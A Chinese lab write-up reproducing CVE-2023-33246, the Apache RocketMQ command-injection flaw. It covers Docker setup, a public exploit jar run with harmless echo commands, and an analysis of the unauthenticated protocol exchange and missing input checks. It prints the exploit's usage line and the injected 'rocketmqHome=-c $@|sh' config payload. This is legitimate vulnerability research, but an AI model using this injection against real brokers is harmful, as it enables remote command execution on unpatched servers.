CVE-2023-33246 Apache RocketMQ 命令注入漏洞复现及分析
0x0.威胁情报:
漏洞编号 |
CVE编号 |
CVE-2023-33246 |
漏洞评估 |
危害评级 |
高危 |
漏洞类型 |
RCE |
|
公开程度 |
PoC已公开 |
|
利用条件 |
1.在受影响版本内 |
|
威胁类型 |
远程 |
|
利用情报 |
在野利用 |
无 |
漏洞活跃度 |
中 |
|
影响产品 |
产品名称 |
Apache RocketMQ |
受影响版本 |
5.x <= 5.1.0 及 4.x<=4.9.6 |
|
影响范围 |
中 |
|
有无修复补丁 |
有 |
|
参考
https://lists.apache.org/thread/s78r8lw08xtvh1ojvo65p0f4jyo9lt7v
0x1.复现环境搭建:
0x10 Apache RocketMQ的应用组网
![在这里插入图片描述](https://img-blog.csdnimg.cn/d82efbede5b242af8c2d8103b195d31e.png)
如上图所示Apache RocketMQ 应用组网中 核心部分包括 NameServer 节点/集群,用于运维管理。Broker节点/集群用户核心的消息订阅发送逻辑。Producer是消息数据的产生方,Consumer小消息的接收方。同时可以扩展部属console节点用于提供Web管理界面。
0x101 Windows10 Docker环境准备
(略 网上下载无脑装就好了)
0x102 Apache RocketMQ 4.91 Docker 环境安装
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
- 启动broker、namesrv、console(可选):
mqsrv绑定网口IP写host文件
![在这里插入图片描述](https://img-blog.csdnimg.cn/de9ae16b4d5643a98058b7ab6765cd0b.png)
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv /bin/bash
docker run -dit -p 10908:10908 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /home/rocketmq/rocketmq-4.9.1/conf/broker.conf
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
-
启动完成后效果:
如上图所示NameServer 节点关键端口 9876;Broker节点关键端口10911
参考: https://github.com/yizhimanpadewoniu/CVE-2023-33246-Copy
0x2.EXP漏洞复现:
0x21 EXP来源:
https://github.com/SuperZero/CVE-2023-33246
0x22 使用方式:
java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "注入的命令"
0x23 实战复现:
由于Docker环境下支持的命令很少,目前通过注入echo命令,写文件的方式证明漏洞的存在
D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/1"
D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/2"
![在这里插入图片描述](https://img-blog.csdnimg.cn/fb38e6c043444507975b27aff8f7cd8c.png)
注入后查看Broker节点的文件:
![在这里插入图片描述](https://img-blog.csdnimg.cn/d1ee9e50b9514349b15a1eda3d6688b2.png)
如上图所示 文件 已经写入 /tmp目录下,表明注入漏洞的存在。
0x3.成因分析:
漏洞形成的原因很传统:1.提供无加密与鉴权的不安全服务;2.对于用户输入的检查与过滤不足。
0x31 根因1:无鉴权、无加密的不安全服务:
从 EXP的日志来看,EXP做了两次交互,第1次是和NameSever 9876端口的交互,获取注册 Broker的信息,第二次是和Broker的交互,发送配置信息
EXP与NameServer的交互:
![在这里插入图片描述](https://img-blog.csdnimg.cn/b9c5843f03a041b9a5ee7e72be3db41d.png)
{“code”:105,“extFields”:{“topic”:“TBW102”},“flag”:0,“language”:“JAVA”,“opaque”:1,“serializeTypeCurrentRPC”:“JSON”,“version”:395}
![在这里插入图片描述](https://img-blog.csdnimg.cn/397468066825421b93512085ff97a650.png)
返回如下注册Broker数据:
{“brokerDatas”:
[
{“brokerAddrs”:{0:“172.17.0.4:10911”},
“brokerName”:“broker-a”,
“cluster”:“DefaultCluster”}],
“filterServerTable”:{},
“queueDatas”:[{“brokerName”:“broker-a”,“perm”:7,“readQueueNums”:8,“topicSysFlag”:0,“writeQueueNums”:8} ]}
可见,EXP可以仿冒Console节点,访问NameServer节点获取注册 Broker数据,而不需任何鉴权,且数据明文传输。
EXP与Broker的交互:
![在这里插入图片描述](https://img-blog.csdnimg.cn/c569c88572ed40409af0cf11a7c28f10.png)
如上图所示,EXP仿冒NameServer向Broker发送配置修改数据,修改 **rocketmqHome 函数,**同时配置参数中拼接了操作系统命令:
{“code”:25,“flag”:0,“language”:“JAVA”,“opaque”:0,“serializeTypeCurrentRPC”:“JSON”,“version”:395}filterServerNums=1 rocketmqHome=-c $@|sh . echo echo 11 > /tmp/3;
从EXP源码看:
![在这里插入图片描述](https://img-blog.csdnimg.cn/bc5013a403754248858fce6bd7219d0e.png)
源码整个过程非常简单,先生成 DefaultMQAdminExt 实力以及调用 updateBrokerConfig方法的关键过程中,均无任何鉴权凭证的的输入,属于未授权访问范畴。
0x31 根因2:ApacheRocketMQ 后端验证不足及高危函数调用:
![在这里插入图片描述](https://img-blog.csdnimg.cn/cf2bbeed7d0e455d9428e33739c05147.png)
如上图所示**,CallShell**这个函数十分辣眼睛,渗透同学很容易联想到了,操作系统 Bash命令调用。
从请求消息中提取配置:
关键调用processRequest()-> updateBrokerConfig() -->getConfiguration()–>update():
![在这里插入图片描述](https://img-blog.csdnimg.cn/657d6b1a3e66429793841b959c869cb9.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/a72f782c0f774d40b7691f12dc5ad82c.png)
从这些配置处理过程中,并没有看到对于配置参数合法性的检查和过滤
提取配置,并组装命令执行:
![在这里插入图片描述](https://img-blog.csdnimg.cn/ba2df811ca4b483b8bef344ace899e05.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/e2555dec36c84c71a7b2fed1079d63ac.png)
如上图所示,对于cmdArray传递过来的参数,没有任何的检查和过滤,直接调用exec进行执行。